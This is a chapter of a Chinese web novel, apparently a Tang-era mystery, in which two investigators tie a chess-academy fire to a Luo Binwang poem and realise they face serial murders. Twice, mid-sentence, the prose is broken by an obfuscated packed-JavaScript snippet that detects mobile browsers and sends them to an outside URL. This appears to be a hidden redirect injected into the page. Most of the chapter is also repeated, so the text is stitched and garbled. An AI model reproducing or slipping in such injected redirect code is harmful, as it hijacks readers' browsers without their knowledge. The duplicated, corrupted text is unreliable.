66. 鸾鸟
骆宾王在任长安主薄期间因反对与先帝共称二圣的武圣人,被罚入狱,而后遇先帝开恩,方才脱离牢狱之苦。
出狱后的次年,骆宾王到临海县担任一小小县丞,此时他已是年过不惑,仕途上看不到半分希望,受困于远离朝堂的偏远苦地,心中纵有万千抱负也只能强自压下。
在临海县入冬的一日,三两故友带着浊酒小菜前来探望,骆宾王在宴席间写下了一首五言诗,后世文人将此诗命名为《冬日宴》。
《冬日宴》全篇共有八句,广为流传的是最后四句。
促席鸾觞满,当炉兽炭然。
何须攀桂树,逢此自留连。
逐字译成白话,此诗大意是:宴席上与故旧友人们促膝而坐,在鸾鸟纹饰的酒杯当中斟满美酒,做成兽形的木炭在火炉中烧得通红。何必苦心追寻功名利禄,有眼前这围炉畅饮的乐宴,自应久欢不散。
这首诗本是骆宾王写于淡泊名利的心情,哪里知道,仅仅四年后,他就跟随开国功臣之后李敬业一同于扬州起兵,为祸天下。
“他们那些文人常用‘攀桂树’来指代登科中举,追逐功名,”颜洵自谦道,“我译得不好,不过这首诗的内中意思便是如此。”
无需颜洵将眼前这首诗译得多么高雅,白森已得到了她想要的信息。
她转眼看向身后,几个酒坛摆在木架上,烛光照过去,隐约照亮了坛身上的繁复画纹。
一群神鸟,振翅飞入云霄。
“快,我们得去一趟火灾现场。”白森把写有诗句的麻纸放回石匣中,又一手抱起石匣,转过身往酒窖外走去。
颜洵赶忙跟到她身旁,困惑问道:“那里已是一片废墟,为何要如此着急的赶过去?”
“来不及多解释了,”白森将手中的石匣紧紧搂着,快步往地下通道的入口方向走,“你想想下午那场火,是不是全写在骆宾王的诗里?”
“什么?”颜洵大惊。
白森全神思索着她要去火灾现场找寻什么,不再言语,埋着头在地下甬道中往前快走,几乎都要跑起来了。
颜洵跟在她身后,脑子里全是白森的话。
今天的大火,全在一首十年前写成的诗里。只是想想,颜洵背上就渗出一层冷汗。
两人出了地道,还没走到厢房门前,就听窗外传来人声。
颜洵对白森做了个噤声的手势,他走到窗边,轻推开一条小缝。
是几个拎着防风灯笼的守卫聚在天枢棋馆门前闲谈。
“那个赵先生,死得太惨了。”其中一个守卫道。
其余人等唏嘘了一阵,又一个人道:“你们说,发生这么大的事儿,山长和监院都不去衙门报官,只是让我们把赵先生的尸身找个地方个给埋了,这是为何?”
一个看起来年长些的守卫举起酒瓶,呷了一口暖身酒,道:“你是傻么?再有几天就是秋奕选拔了,这个时候有官府的人来,选拔赛还办不办了?”
众人纷纷称是。
“听说啊,徐都督的公子是遭人谋害的,真凶尚在这棋院当中,”年长守卫又道,“只能我们兄弟几个多辛苦辛苦,运气好的话抓到这囚娘养的,官府上重重有赏。”
“哎,老彭,”一个枯瘦男人身着仆役的粗布短衣,脸上显是有些害怕,小声道,“九灵山上下没缘没故的多了不少山匪,我去县上送个信都能来回遇上了两拨,你给说说,徐公子身死,还有今天这场大火,会不会是那些山匪干的?”
此话一出,人们大都紧张起来,那个年长守卫又呷了口酒,大声喝道:“瞧你那怂包样儿,也不想想鸿清棋院里都是些什么人家的公子小姐,给那些山匪十个胆子,我都不信他们敢靠近棋院半步。”
人们听他说得在理,都呵呵笑了起来,那个声称去县上送信的男人不好意思地挠着脑袋,其他人都笑骂他胆小如鼠。
“行了,都笑够歇够了,”年长守卫收了酒瓶,招呼道,“走,咱们一起去靠近山林的围墙边看看去。”
待灯笼的光去得远了,颜洵和白森才从厢房中悄声走出来。
白森忙问道:“今天的大火烧死了一个先生,最后还是让这棋院里给压下来了?”
颜洵点头回道:“是,你刚才也听到了,棋院里不想因为此事影响了秋奕选拔。”
“这什么选拔竟然比人命还重要。”白森说话声不由得大了些。
颜洵连忙抬手往下压了压,示意白森噤声。
“官府并非不知道这里的事,”颜洵道,“你忘了么?我给你说过的,我在静海县衙门的对接人那里打探到有个姓陆的捕头已经领命来此,只是这些天我还没查出此人是谁,是不是像你我一样潜在这棋院中。”
白森想起来了,她前去找颜洵谈合作的那日,在柴房的屋檐下,颜洵提到过一个姓陆的捕头。
她当然知道颜洵说的就是陆焕,只不过她还未向颜洵坦白自己的真实身份是陆焕的下属,一个不良人捕快。
白森不想自己的不良人身份影响了与颜洵之间的合作关系,尤其是这些日子以来,在鸿清棋院中亲眼见到这个时代对家世出身的偏见,更让她决心隐瞒。
“你说的也对,”白森回道,“是我多想了。”
颜洵道:“我们得抓紧些,若是让那陆捕头先查到了真凶,我们就不要想靠这个案子上狴犴榜了。”
“是。”白森心不在焉地答道,她的思绪已转到别处去。
棋院选择封锁消息,意味着守在外面的陆焕和容州军暂时还不知道大火的事。
现下在这棋院中已不只是徐万钧的命案那么简单了,很可能是有人在暗处谋划着什么。
白森紧张起来,急道:“快,我们先赶紧去火灾现场看看。”
两人身法灵动,一同向通往老藏书阁的林中小道疾走而去。
好在这条小道偏僻,没碰上巡逻的下人或守卫,不多时候,他们就站在一片焦黑的废墟前。
大火烧塌了两层高的小木楼,将其中保存的棋谱书册尽数化为灰烬,昏浊的月光下,一眼望去是满地的焦灰和断木。
在废墟中有一处凹下去的浅坑,颜洵说那里是发现赵知海尸身的地方,棋院的仆役在扑灭大火后又费了好一番工夫才找到那具烧得看不出人形的尸体。
颜洵问道:“你来这儿要查探什么?”
白森捡起两截还算完好的长木,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15488288|162531||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
问道:“我需要些火光。”
颜洵看看她,拿出火折子把木条一端打燃。
白森递了一截长木给颜洵,又把手里的罪骨石函放在地上,她举着另一截长木当作火把,往废墟中走去。
大火扑灭已有几个时辰了,走在满地的灰烬中仍能感到一些余温。白森走了没两步,就在脚边发现一块陶瓷碎片。
她回过身,把手中的陶片向颜洵比划了一下,道:“你也来帮我找找。”
“这不是酒坛的碎片么?”颜洵举着火把走上来。
“对,多找几片给我。”白森说着又埋下头去。
颜洵虽然不解,却还是照做。
这不算多困难的任务,两人很快在焦灰中找到了不少陶片,颜洵甚至还发现一只仅有个缺口的酒坛。
回到废墟外围,颜洵忙问道:“你找这些做什么?”
白森将火把先递给颜洵拿着,她半跪在地,把收集到的陶片和破酒坛在地上摆成两排,这才将火把拿回来,对着地上的残缺物照去。
火光下,陶片和酒坛被烧得发黑,好在其上的纹饰却清楚可见。
无一例外的,那些纹饰绘出的图案都是神鸟飞入云天,与地下酒窖里那些酒坛一模一样。
白森站起身,举高手里的火把,照亮了木楼废墟四周的金桂树林。
“果然如此。”白森喃喃道。
颜洵问道:“何出此言?”
白森拿起刚才她放在地上的罪骨石函,从中取出那张写有四列诗句的麻纸。
她朝颜洵扬了扬手里的麻纸,缓缓道:“今天发生在这里的大火,全在这首诗里。”
颜洵凑近过去,在火把的光下,麻纸上那四列暗红字迹发出诡异的色泽。
“促席鸾觞满,当炉兽炭然。何须攀桂树,逢此自留连。”颜洵重念了一遍骆宾王的《冬日宴》。
一阵夜风吹过,带来金桂花的香气,听着颜洵低声念诗,白森直感满身都是寒意。
在发现这张写有诗句的麻纸之前,下午的大火究竟是意外还是有人故意为之,白森和颜洵对此只能是猜测,无论他们二人多么笃定,他们的结论都没有任何证据。
而有了这张麻纸,就可以绝对坐实这场大火是人为的了。
并且,这张麻纸还有一个关键作用,那就是把徐万钧的命案和老藏书阁的火灾关联起来。
没错,这是一桩连环凶案。
白森看向颜洵,道:“看出来了么?”
颜洵点头,眼神异常凝重。
“那些有神鸟纹饰的酒坛,其中装满了烈酒,是这首诗的第一句,”白森道,“促席鸾觞满。”
颜洵接着道:“第二句诗自不必说,大火把这木楼烧成了一座火炉,自然是‘当炉兽炭然’。”
“至于最后两句,‘何须攀桂树,逢此自留连’,”白森凝望着月光下的金桂树影,沉声道,“这里桂树环绕,大火烧死的人自当长久停留在此。”
两人抬起眼睛,看向彼此,都在对方眼里发现了惊恐的神色。
他们再次往白森手上的麻纸看去,那四列诗句浸透纸背,在火光与月色中犹如来自大诗人笔下的诅咒。
出狱后的次年,骆宾王到临海县担任一小小县丞,此时他已是年过不惑,仕途上看不到半分希望,受困于远离朝堂的偏远苦地,心中纵有万千抱负也只能强自压下。
在临海县入冬的一日,三两故友带着浊酒小菜前来探望,骆宾王在宴席间写下了一首五言诗,后世文人将此诗命名为《冬日宴》。
《冬日宴》全篇共有八句,广为流传的是最后四句。
促席鸾觞满,当炉兽炭然。
何须攀桂树,逢此自留连。
逐字译成白话,此诗大意是:宴席上与故旧友人们促膝而坐,在鸾鸟纹饰的酒杯当中斟满美酒,做成兽形的木炭在火炉中烧得通红。何必苦心追寻功名利禄,有眼前这围炉畅饮的乐宴,自应久欢不散。
这首诗本是骆宾王写于淡泊名利的心情,哪里知道,仅仅四年后,他就跟随开国功臣之后李敬业一同于扬州起兵,为祸天下。
“他们那些文人常用‘攀桂树’来指代登科中举,追逐功名,”颜洵自谦道,“我译得不好,不过这首诗的内中意思便是如此。”
无需颜洵将眼前这首诗译得多么高雅,白森已得到了她想要的信息。
她转眼看向身后,几个酒坛摆在木架上,烛光照过去,隐约照亮了坛身上的繁复画纹。
一群神鸟,振翅飞入云霄。
“快,我们得去一趟火灾现场。”白森把写有诗句的麻纸放回石匣中,又一手抱起石匣,转过身往酒窖外走去。
颜洵赶忙跟到她身旁,困惑问道:“那里已是一片废墟,为何要如此着急的赶过去?”
“来不及多解释了,”白森将手中的石匣紧紧搂着,快步往地下通道的入口方向走,“你想想下午那场火,是不是全写在骆宾王的诗里?”
“什么?”颜洵大惊。
白森全神思索着她要去火灾现场找寻什么,不再言语,埋着头在地下甬道中往前快走,几乎都要跑起来了。
颜洵跟在她身后,脑子里全是白森的话。
今天的大火,全在一首十年前写成的诗里。只是想想,颜洵背上就渗出一层冷汗。
两人出了地道,还没走到厢房门前,就听窗外传来人声。
颜洵对白森做了个噤声的手势,他走到窗边,轻推开一条小缝。
是几个拎着防风灯笼的守卫聚在天枢棋馆门前闲谈。
“那个赵先生,死得太惨了。”其中一个守卫道。
其余人等唏嘘了一阵,又一个人道:“你们说,发生这么大的事儿,山长和监院都不去衙门报官,只是让我们把赵先生的尸身找个地方个给埋了,这是为何?”
一个看起来年长些的守卫举起酒瓶,呷了一口暖身酒,道:“你是傻么?再有几天就是秋奕选拔了,这个时候有官府的人来,选拔赛还办不办了?”
众人纷纷称是。
“听说啊,徐都督的公子是遭人谋害的,真凶尚在这棋院当中,”年长守卫又道,“只能我们兄弟几个多辛苦辛苦,运气好的话抓到这囚娘养的,官府上重重有赏。”
“哎,老彭,”一个枯瘦男人身着仆役的粗布短衣,脸上显是有些害怕,小声道,“九灵山上下没缘没故的多了不少山匪,我去县上送个信都能来回遇上了两拨,你给说说,徐公子身死,还有今天这场大火,会不会是那些山匪干的?”
此话一出,人们大都紧张起来,那个年长守卫又呷了口酒,大声喝道:“瞧你那怂包样儿,也不想想鸿清棋院里都是些什么人家的公子小姐,给那些山匪十个胆子,我都不信他们敢靠近棋院半步。”
人们听他说得在理,都呵呵笑了起来,那个声称去县上送信的男人不好意思地挠着脑袋,其他人都笑骂他胆小如鼠。
“行了,都笑够歇够了,”年长守卫收了酒瓶,招呼道,“走,咱们一起去靠近山林的围墙边看看去。”
待灯笼的光去得远了,颜洵和白森才从厢房中悄声走出来。
白森忙问道:“今天的大火烧死了一个先生,最后还是让这棋院里给压下来了?”
颜洵点头回道:“是,你刚才也听到了,棋院里不想因为此事影响了秋奕选拔。”
“这什么选拔竟然比人命还重要。”白森说话声不由得大了些。
颜洵连忙抬手往下压了压,示意白森噤声。
“官府并非不知道这里的事,”颜洵道,“你忘了么?我给你说过的,我在静海县衙门的对接人那里打探到有个姓陆的捕头已经领命来此,只是这些天我还没查出此人是谁,是不是像你我一样潜在这棋院中。”
白森想起来了,她前去找颜洵谈合作的那日,在柴房的屋檐下,颜洵提到过一个姓陆的捕头。
她当然知道颜洵说的就是陆焕,只不过她还未向颜洵坦白自己的真实身份是陆焕的下属,一个不良人捕快。
白森不想自己的不良人身份影响了与颜洵之间的合作关系,尤其是这些日子以来,在鸿清棋院中亲眼见到这个时代对家世出身的偏见,更让她决心隐瞒。
“你说的也对,”白森回道,“是我多想了。”
颜洵道:“我们得抓紧些,若是让那陆捕头先查到了真凶,我们就不要想靠这个案子上狴犴榜了。”
“是。”白森心不在焉地答道,她的思绪已转到别处去。
棋院选择封锁消息,意味着守在外面的陆焕和容州军暂时还不知道大火的事。
现下在这棋院中已不只是徐万钧的命案那么简单了,很可能是有人在暗处谋划着什么。
白森紧张起来,急道:“快,我们先赶紧去火灾现场看看。”
两人身法灵动,一同向通往老藏书阁的林中小道疾走而去。
好在这条小道偏僻,没碰上巡逻的下人或守卫,不多时候,他们就站在一片焦黑的废墟前。
大火烧塌了两层高的小木楼,将其中保存的棋谱书册尽数化为灰烬,昏浊的月光下,一眼望去是满地的焦灰和断木。
在废墟中有一处凹下去的浅坑,颜洵说那里是发现赵知海尸身的地方,棋院的仆役在扑灭大火后又费了好一番工夫才找到那具烧得看不出人形的尸体。
颜洵问道:“你来这儿要查探什么?”
白森捡起两截还算完好的长木,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15488288|162531||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
问道:“我需要些火光。”
颜洵看看她,拿出火折子把木条一端打燃。
白森递了一截长木给颜洵,又把手里的罪骨石函放在地上,她举着另一截长木当作火把,往废墟中走去。
大火扑灭已有几个时辰了,走在满地的灰烬中仍能感到一些余温。白森走了没两步,就在脚边发现一块陶瓷碎片。
她回过身,把手中的陶片向颜洵比划了一下,道:“你也来帮我找找。”
“这不是酒坛的碎片么?”颜洵举着火把走上来。
“对,多找几片给我。”白森说着又埋下头去。
颜洵虽然不解,却还是照做。
这不算多困难的任务,两人很快在焦灰中找到了不少陶片,颜洵甚至还发现一只仅有个缺口的酒坛。
回到废墟外围,颜洵忙问道:“你找这些做什么?”
白森将火把先递给颜洵拿着,她半跪在地,把收集到的陶片和破酒坛在地上摆成两排,这才将火把拿回来,对着地上的残缺物照去。
火光下,陶片和酒坛被烧得发黑,好在其上的纹饰却清楚可见。
无一例外的,那些纹饰绘出的图案都是神鸟飞入云天,与地下酒窖里那些酒坛一模一样。
白森站起身,举高手里的火把,照亮了木楼废墟四周的金桂树林。
“果然如此。”白森喃喃道。
颜洵问道:“何出此言?”
白森拿起刚才她放在地上的罪骨石函,从中取出那张写有四列诗句的麻纸。
她朝颜洵扬了扬手里的麻纸,缓缓道:“今天发生在这里的大火,全在这首诗里。”
颜洵凑近过去,在火把的光下,麻纸上那四列暗红字迹发出诡异的色泽。
“促席鸾觞满,当炉兽炭然。何须攀桂树,逢此自留连。”颜洵重念了一遍骆宾王的《冬日宴》。
一阵夜风吹过,带来金桂花的香气,听着颜洵低声念诗,白森直感满身都是寒意。
在发现这张写有诗句的麻纸之前,下午的大火究竟是意外还是有人故意为之,白森和颜洵对此只能是猜测,无论他们二人多么笃定,他们的结论都没有任何证据。
而有了这张麻纸,就可以绝对坐实这场大火是人为的了。
并且,这张麻纸还有一个关键作用,那就是把徐万钧的命案和老藏书阁的火灾关联起来。
没错,这是一桩连环凶案。
白森看向颜洵,道:“看出来了么?”
颜洵点头,眼神异常凝重。
“那些有神鸟纹饰的酒坛,其中装满了烈酒,是这首诗的第一句,”白森道,“促席鸾觞满。”
颜洵接着道:“第二句诗自不必说,大火把这木楼烧成了一座火炉,自然是‘当炉兽炭然’。”
“至于最后两句,‘何须攀桂树,逢此自留连’,”白森凝望着月光下的金桂树影,沉声道,“这里桂树环绕,大火烧死的人自当长久停留在此。”
两人抬起眼睛,看向彼此,都在对方眼里发现了惊恐的神色。
他们再次往白森手上的麻纸看去,那四列诗句浸透纸背,在火光与月色中犹如来自大诗人笔下的诅咒。